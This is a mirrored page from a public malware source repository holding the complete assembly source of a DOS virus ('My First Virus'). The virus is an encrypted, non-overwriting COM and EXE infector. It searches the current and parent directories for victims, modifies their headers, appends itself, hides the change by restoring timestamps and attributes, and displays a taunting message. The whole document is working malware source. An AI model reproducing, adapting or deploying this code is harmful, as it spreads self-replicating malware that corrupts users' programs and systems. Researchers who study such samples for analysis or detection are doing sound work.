mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
485 lines
22 KiB
NASM
485 lines
22 KiB
NASM
;******************************************************************
|
||
;* *
|
||
;* My First Virus, a simple non-overwriting COM and EXE *
|
||
;* infector. *
|
||
;* by, Joshua *
|
||
;* *
|
||
;******************************************************************
|
||
|
||
ID = 'SS' ; My ID
|
||
|
||
.model tiny ; Memory model
|
||
.code ; Start Code
|
||
org 100h ; Start of COM file
|
||
|
||
MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
|
||
|
||
START proc near
|
||
|
||
DECRYPT: mov bx,offset START_VIRUS ; Find out our offset
|
||
mov cx,(END_VIRUS-START_VIRUS)/2
|
||
DECRYPT_LOOP: db 2eh,81h,37h ; XOR [BX],xxxx
|
||
KEY dw 0 ; Crypt KEY
|
||
add bx,2 ; Increment offset
|
||
dec cx ; Decrement counter
|
||
jnz DECRYPT_LOOP ; Continue until done
|
||
|
||
START_VIRUS:
|
||
call FIND_OFFSET ; Real start of virus
|
||
|
||
; Calculate change in offset from host program.
|
||
|
||
FIND_OFFSET: pop bp ; BP holds current IP
|
||
sub bp, offset FIND_OFFSET ; Calculate net change
|
||
; Change BP to start of
|
||
; virus code
|
||
|
||
; Capture INT 24h Critical error handler.
|
||
|
||
push es ; Save ES
|
||
mov ax,3524h ; DOS get interupt vector
|
||
int 21h ; Call DOS to do it
|
||
mov word ptr [bp+OLDINT24],bx ; Save old INT 24h
|
||
mov word ptr [bp+OLDINT24+2],es ; vector
|
||
mov ah,25h ; DOS set interupt vector
|
||
lea dx,[bp+NEWINT24] ; Address of new interupt
|
||
int 21h ; Call DOS to do it
|
||
pop es ; Restore ES
|
||
|
||
; Find out what kind of program I am, COM or EXE, by checking stack pointer.
|
||
; This is where I store my ID in an EXE infection.
|
||
|
||
cmp sp,ID ; COM or EXE?
|
||
je RESTORE_EXE ; I am an EXE file
|
||
|
||
; Restore original bytes to the COM program.
|
||
|
||
RESTORE_COM: lea si,[bp+COM_START] ; Restore original 3 bytes
|
||
mov di,100h ; to 100h, start of file
|
||
push di ; Jmp to 100h when done
|
||
movsw ; Copy 3 bytes
|
||
movsb
|
||
jmp short RESTORE_DONE
|
||
|
||
; Restore original bytes to the EXE program.
|
||
|
||
RESTORE_EXE: push ds ; Save original DS
|
||
push es ; Save original ES
|
||
push cs ; Set DS = CS
|
||
pop ds
|
||
push cs ; Set ES = CS
|
||
pop es
|
||
lea si,[bp+JMPSAVE] ; Copy original CS:IP and
|
||
lea di,[bp+JMPSAVE2] ; SS:SP for return
|
||
movsw ; Copy 8 bytes
|
||
movsw
|
||
movsw
|
||
movsw
|
||
|
||
; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
|
||
; original command line parameters.
|
||
|
||
RESTORE_DONE: lea dx,[bp+DTA] ; Point to new DTA area
|
||
mov ah,1ah ; DOS set DTA
|
||
int 21h ; Call DOS to do it
|
||
|
||
; Save original directory.
|
||
|
||
mov ah,47h ; DOS get current directory
|
||
lea si,[bp+ORIG_DIR] ; Store it here
|
||
mov dl,0 ; Current drive
|
||
int 21h ; Call DOS to do it
|
||
|
||
; Search for a file to infect.
|
||
|
||
SEARCH: lea dx,[bp+EXE_MASK] ; Search for any EXE file
|
||
call FINDFIRST ; Begin search
|
||
lea dx,[bp+COM_MASK] ; Search for any COM file
|
||
call FINDFIRST ; Begin search
|
||
|
||
mov ah,3bh ; DOS change directory
|
||
lea dx,[bp+DOTDOT] ; Go up one direcotry
|
||
int 21h ; Call DOS to do it
|
||
jnc SEARCH ; Go look for more files
|
||
|
||
; Restore default DTA, original directory, and pass control back to
|
||
; original program.
|
||
|
||
QUIT: mov ah,3bh ; DOS change directory
|
||
lea dx,[bp+ORIG_DIR-1] ; Point to original directory
|
||
int 21h ; Call DOS to do it
|
||
push ds ; Save DS
|
||
mov ax,2524h ; DOS set interupt vector
|
||
lds dx,[bp+OLDINT24] ; Restore INT 24h
|
||
int 21h ; Call DOS to do it
|
||
pop ds ; Restore DS
|
||
mov ah,1ah ; DOS set DTA
|
||
mov dx,80h ; Restore original DTA
|
||
cmp sp,ID-4 ; EXE or COM? ES,DS on stack
|
||
jz QUIT_EXE ; Pass control to host EXE
|
||
|
||
QUIT_COM: int 21h ; Call DOS to set DTA
|
||
retn ; Remember, 100h was on stack
|
||
|
||
QUIT_EXE: pop es ; Restore original ES
|
||
pop ds ; Restore original DS
|
||
int 21h ; Call DOS to set DTA
|
||
mov ax,es ; AX = begin of PSP segment
|
||
add ax,16 ; Add size of PSP to get CS
|
||
add word ptr cs:[bp+JMPSAVE2+2],ax ; Restore IP
|
||
add ax,word ptr cs:[bp+STACKSAVE2+2] ; Calculate SS
|
||
cli ; Clear interrupts
|
||
mov sp,word ptr cs:[bp+STACKSAVE2] ; Restore SP
|
||
mov ss,ax ; Restore SS
|
||
sti ; Set interrupts
|
||
db 0eah ; Jump SSSS:OOOO
|
||
|
||
JMPSAVE2 dd ? ; CS:IP for EXE return
|
||
STACKSAVE2 dd ? ; SS:SP for EXE return
|
||
JMPSAVE dd ? ; Original EXE CS:IP
|
||
STACKSAVE dd ? ; Original EXE SS:SP
|
||
|
||
CREATOR db '[Joshua]' ; That's me!
|
||
|
||
; DOS Findfirst / Findnext services
|
||
|
||
FINDFIRST: mov ah,4eh ; DOS find first service
|
||
mov cx,7 ; Choose files w/ any attribute
|
||
FINDNEXT: int 21h ; Call DOS to do it
|
||
jc END_SEARCH ; Quit if there are errors
|
||
; or no more files
|
||
|
||
; Ok, if I am here, then I found a possible victim. First open the file
|
||
; for read only.
|
||
|
||
mov al,0 ; DOS Open file, read only
|
||
call OPEN ; Open the file
|
||
|
||
; Read in the beginning bytes to check for previous infection and then close.
|
||
|
||
mov ah,3fh ; DOS Read file
|
||
lea dx,[bp+BUFFER] ; Save the original header
|
||
mov cx,24 ; Read 24 bytes
|
||
int 21h ; Call DOS to do it
|
||
mov ah,3eh ; DOS close file
|
||
int 21h ; Call DOS to do it
|
||
|
||
; Check if the file is an EXE.
|
||
|
||
CHECK_EXE: cmp word ptr [bp+BUFFER],'ZM' ; Is it an EXE?
|
||
jne CHECK_COM ; Nope, see if it's a COM
|
||
cmp word ptr [bp+BUFFER+16],ID; Is it already infected?
|
||
je ANOTHER ; Yep, so try another
|
||
jmp short INFECT_EXE ; We got one! Go infect it!
|
||
|
||
|
||
; Check if the file is COMMAND.COM
|
||
|
||
CHECK_COM: cmp word ptr [bp+DTA+35],'DN' ; Check for COMMAND.COM
|
||
jz ANOTHER ; If it is, try another file
|
||
|
||
; Now, check for previous infection by checking for our presence at
|
||
; the end of the file.
|
||
|
||
mov ax,word ptr [bp+DTA+26] ; Put total filesize in AX
|
||
cmp ax,(65535-(ENDHEAP-DECRYPT)); Check if too big
|
||
jle ANOTHER ; If so, try another
|
||
mov cx,word ptr [bp+BUFFER+1] ; Put jmp offset in CX
|
||
add cx,END_VIRUS-DECRYPT+3 ; Add virus size to jmp offset
|
||
cmp ax,cx ; Compare file size's
|
||
jnz INFECT_COM ; If healthy, go infect it
|
||
|
||
ANOTHER: mov ah,4fh ; Otherwise find another
|
||
jmp short FINDNEXT ; possible victim
|
||
|
||
END_SEARCH: retn ; No files found
|
||
|
||
;*** Subroutine INFECT_COM ***
|
||
|
||
INFECT_COM:
|
||
|
||
; Save the first three bytes of the COM file
|
||
|
||
lea si,[bp+BUFFER] ; Start of first 3 bytes
|
||
lea di,[bp+COM_START] ; Store them here
|
||
movsw ; Transfer the 3 bytes
|
||
movsb
|
||
|
||
; Calculate jump offset for header of victim so it will run virus first.
|
||
; AX has the filesize. Store new JMP and OFFSET in the buffer.
|
||
|
||
mov cx,3 ; No. bytes to write in header
|
||
sub ax,cx ; Filesize - jmp_offset
|
||
mov byte ptr [si-3],0e9h ; Store new JMP command
|
||
mov word ptr [si-2],ax ; plus offset
|
||
add ax,(103h+(START_VIRUS-DECRYPT)); New START_VIRUS OFFSET
|
||
push ax ; Save it for later
|
||
jmp DONE_INFECTION ; We're done!
|
||
|
||
;*** Subroutine INFECT_EXE ***
|
||
|
||
INFECT_EXE:
|
||
|
||
; Save original CS:IP and SS:SP.
|
||
|
||
les ax,dword ptr [bp+BUFFER+20] ; Get original CS:IP
|
||
mov word ptr [bp+JMPSAVE],ax ; Store IP
|
||
mov word ptr [bp+JMPSAVE+2],es ; Store CS
|
||
les ax,dword ptr [bp+BUFFER+14] ; Get original SS:SP
|
||
mov word ptr [bp+STACKSAVE],es ; Store SP
|
||
mov word ptr [bp+STACKSAVE+2],ax ; Store SS
|
||
|
||
; Get get the header size in bytes.
|
||
|
||
mov ax,word ptr [bp+BUFFER+8] ; Get header size
|
||
mov cl,4 ; Convert paragraphs to bytes
|
||
shl ax,cl ; Multiply by 16
|
||
xchg ax,bx ; Put header size in BX
|
||
|
||
; Get file size.
|
||
|
||
les ax,[bp+offset DTA+26] ; Get filesize to
|
||
mov dx,es ; DX:AX format
|
||
|
||
push ax ; Save filesize
|
||
push dx
|
||
|
||
sub ax,bx ; Subtract header size
|
||
sbb dx,0 ; from filesize
|
||
|
||
mov cx,16 ; Convert to SEGMENT:OFFSET
|
||
div cx ; form
|
||
|
||
; Store new entry point (CS:IP) in header.
|
||
|
||
mov word ptr [bp+BUFFER+20],dx; Store IP
|
||
mov word ptr [bp+BUFFER+22],ax; Store CS
|
||
|
||
add dx,START_VIRUS-DECRYPT ; New START_VIRUS offset
|
||
mov bx,dx ; Hold it for now
|
||
|
||
; Store new stack frame (SS:SP) in header.
|
||
|
||
mov word ptr [bp+BUFFER+14],ax; Store SS
|
||
mov word ptr [bp+BUFFER+16],ID; Store SP
|
||
|
||
pop dx ; Get back filesize
|
||
pop ax
|
||
|
||
add ax,END_VIRUS-START_VIRUS ; Add virus size
|
||
adc dx,0 ; to filesize
|
||
|
||
push ax ; Save AX
|
||
mov cl,9 ; Divide AX
|
||
shr ax,cl ; by 512
|
||
ror dx,cl
|
||
stc ; Set carry flag
|
||
adc dx,ax ; Add with carry
|
||
pop ax ; Get back AX
|
||
and ah,1 ; Mod 512
|
||
|
||
; Store new filesize in header.
|
||
|
||
mov word ptr [bp+BUFFER+4],dx ; Store new filesize
|
||
mov word ptr [bp+BUFFER+2],ax
|
||
|
||
push cs ; Restore ES
|
||
pop es
|
||
mov cx,24 ; No. bytes to write in header
|
||
|
||
push bx ; Save START_VIRUS offset
|
||
|
||
; Write virus to victim and restore the file's original timestamp, datestamp,
|
||
; and attributes. These values were stored in the DTA by the
|
||
; Findfirst / Findnext services.
|
||
|
||
DONE_INFECTION:
|
||
push cx ; Save no. bytes to write
|
||
xor cx,cx ; Clear attributes
|
||
call SET_ATTR ; Set attributes
|
||
|
||
mov al,2 ; DOS open file for read/write
|
||
call OPEN ; Open the file
|
||
|
||
; Write the new header at the beginning of the file.
|
||
|
||
mov ah,40h ; DOS write to file
|
||
pop cx ; Number of bytes to write
|
||
lea dx,[bp+BUFFER] ; Point to the bytes to write
|
||
int 21h ; Call DOS to do it
|
||
|
||
; Move to end of file.
|
||
|
||
mov ax,4202h ; DOS set read/write pointer
|
||
xor cx,cx ; Set offset move to zero
|
||
cwd ; Equivalent to xor dx,dx
|
||
int 21h ; Call DOS to do it
|
||
|
||
; Append virus to end of file.
|
||
|
||
mov ah,2ch ; DOS get time
|
||
int 21h ; Call DOS to do it
|
||
mov [bp+KEY],dx ; Save sec + 1/100 sec
|
||
; as the new KEY
|
||
|
||
lea di,[bp+APPEND] ; to the heap
|
||
mov cx,START_VIRUS-DECRYPT ; Number of bytes to move
|
||
mov al,53h ; Push BX and store it
|
||
stosb ; in the append routine
|
||
lea si,[bp+DECRYPT] ; Move Crypt routines
|
||
push si ; Save SI
|
||
push cx ; Save CX
|
||
rep movsb ; Transfer the data
|
||
|
||
lea si,[bp+WRITE_START] ; Now copy the write
|
||
mov cx,WRITE_END-WRITE_START ; routine to the heap
|
||
rep movsb ; Transfer the data
|
||
|
||
pop cx ; Get back
|
||
pop si ; CX and SI
|
||
rep movsb ; Recopy Crypt routine
|
||
|
||
mov ax,0c35bh ; Tack a POP BX and
|
||
stosw ; RETN on the end
|
||
|
||
pop ax ; New START_VIRUS offset
|
||
mov word ptr [bp+DECRYPT+1],ax; Store new offset
|
||
|
||
call APPEND ; Write the file
|
||
|
||
; Restore original creation date and time.
|
||
|
||
mov ax,5701h ; DOS set file date & time
|
||
mov cx,word ptr [bp+DTA+22] ; Set time
|
||
mov dx,word ptr [bp+DTA+24] ; Set date
|
||
int 21h ; Call DOS to do it
|
||
|
||
; Close the file.
|
||
|
||
mov ah,3eh ; DOS close file
|
||
int 21h ; Call DOS to do it
|
||
|
||
; Restore original file attributes.
|
||
|
||
mov cx,word ptr [bp+DTA+21] ; Get original file attribute
|
||
call SET_ATTR ; Set attribute
|
||
|
||
pop bx ; Take CALL off stack
|
||
|
||
|
||
; ****** B O M B S E C T I O N ******
|
||
|
||
; Check to see if the virus is ready to activate.
|
||
; Put all activation tests and bombs here.
|
||
|
||
CONDITIONS: ; mov ah,2ah ; DOS get date
|
||
; int 21h ; Call DOS to do it
|
||
; cmp dx,1001h ; Check for Oct 1st
|
||
; jl BOMB_DONE ; Not time yet
|
||
; mov ah,2ch ; DOS get time
|
||
; int 21h ; Call DOS to do it
|
||
; cmp cl,25h ; Check for 25 min past
|
||
; jl BOMB_DONE ; Not time yet
|
||
|
||
BOMB: mov ah,3h ; BIOS find cursor position
|
||
mov bh,0 ; Video page 0
|
||
int 10h ; Call BIOS to do it
|
||
push dx ; Save original Row and Column
|
||
mov cx,6 ; Number of lines to print
|
||
lea si,[bp+VERSE] ; Location of VERSE
|
||
mov dx,080ah ; Row and Column of output
|
||
PRINTLOOP: mov ah,2h ; BIOS set cursor
|
||
int 10h ; Set cursor
|
||
push dx ; Save Row and Column
|
||
mov ah,9h ; DOS print string
|
||
mov dx,si ; Location of VERSE
|
||
int 21h ; Call DOS to print it
|
||
pop dx ; Get Row and Column
|
||
inc dh ; Increment Row
|
||
add si,54 ; Go to next line of VERSE
|
||
loop PRINTLOOP ; Print all lines
|
||
|
||
mov ah,00h ; Read character from keybd
|
||
int 16h
|
||
|
||
pop dx ; Get original Row Column
|
||
mov ah,2h ; BIOS set cursor
|
||
int 10h ; Call BIOS to do it
|
||
|
||
BOMB_DONE: jmp QUIT ; Go back to host program
|
||
|
||
VERSE: db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ$'
|
||
db '<27> Guess what ??? <20>$'
|
||
db '<27> You have been victimized by a virus!!! Do not <20>$'
|
||
db '<27> try to reboot your computer or even turn it <20>$'
|
||
db '<27> off. You might as well read this and weep! <20>$'
|
||
db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ',7,7,'$'
|
||
|
||
; Write routine to append the virus to the end of the file.
|
||
|
||
WRITE_START:
|
||
pop bx ; Get back file handle
|
||
push bx ; Save it again
|
||
mov ah,40h ; DOS write to file
|
||
mov cx,END_VIRUS-DECRYPT ; Length of virus
|
||
lea dx,[bp+DECRYPT] ; Start from beginning of virus
|
||
int 21h ; Call DOS to do it
|
||
WRITE_END:
|
||
|
||
|
||
; New INT 24h handler.
|
||
|
||
NEWINT24: mov al,3 ; Fail call
|
||
iret ; Return
|
||
|
||
|
||
;*** Subroutine OPEN ***
|
||
; Open a file. Takes AL as parameter.
|
||
|
||
OPEN proc near
|
||
mov ah,3dh ; DOS open file, read/write
|
||
lea dx,[bp+DTA+30] ; Point to filename we found
|
||
int 21h ; Call DOS to do it
|
||
xchg ax,bx ; Put file handle in BX
|
||
retn ; Return
|
||
OPEN endp
|
||
|
||
;*** Subroutine SET_ATTR ***
|
||
; Takes CX as a parameter
|
||
|
||
SET_ATTR proc near
|
||
mov ax,4301h ; DOS change file attr
|
||
lea dx,[bp+DTA+30] ; Point to file name
|
||
int 21h ; Call DOS
|
||
retn ; Return
|
||
SET_ATTR endp
|
||
|
||
|
||
; This area will hold all variables to be encrypted
|
||
|
||
COM_MASK db '*.com',0 ; COM file mask
|
||
EXE_MASK db '*.exe',0 ; EXE file mask
|
||
DOTDOT db '..',0 ; Go up one directory
|
||
COM_START db 0cdh,20h,0 ; Header for infected file
|
||
BACKSLASH db '\' ; Backslash for directory
|
||
|
||
START endp
|
||
|
||
END_VIRUS equ $ ; Mark end of virus code
|
||
|
||
; This data area is a scratch area and is not included in virus code.
|
||
|
||
ORIG_DIR db 64 dup(?) ; Holds original directory
|
||
|
||
OLDINT24 dd ? ; Storage for old INT 24 vector
|
||
|
||
BUFFER db 24 dup(?) ; Read buffer and EXE header
|
||
|
||
DTA db 43 dup(?) ; New DTA location
|
||
|
||
APPEND: db (START_VIRUS-DECRYPT)*2+(WRITE_END-WRITE_START)+3 dup(?)
|
||
|
||
ENDHEAP:
|
||
|
||
end MAIN
|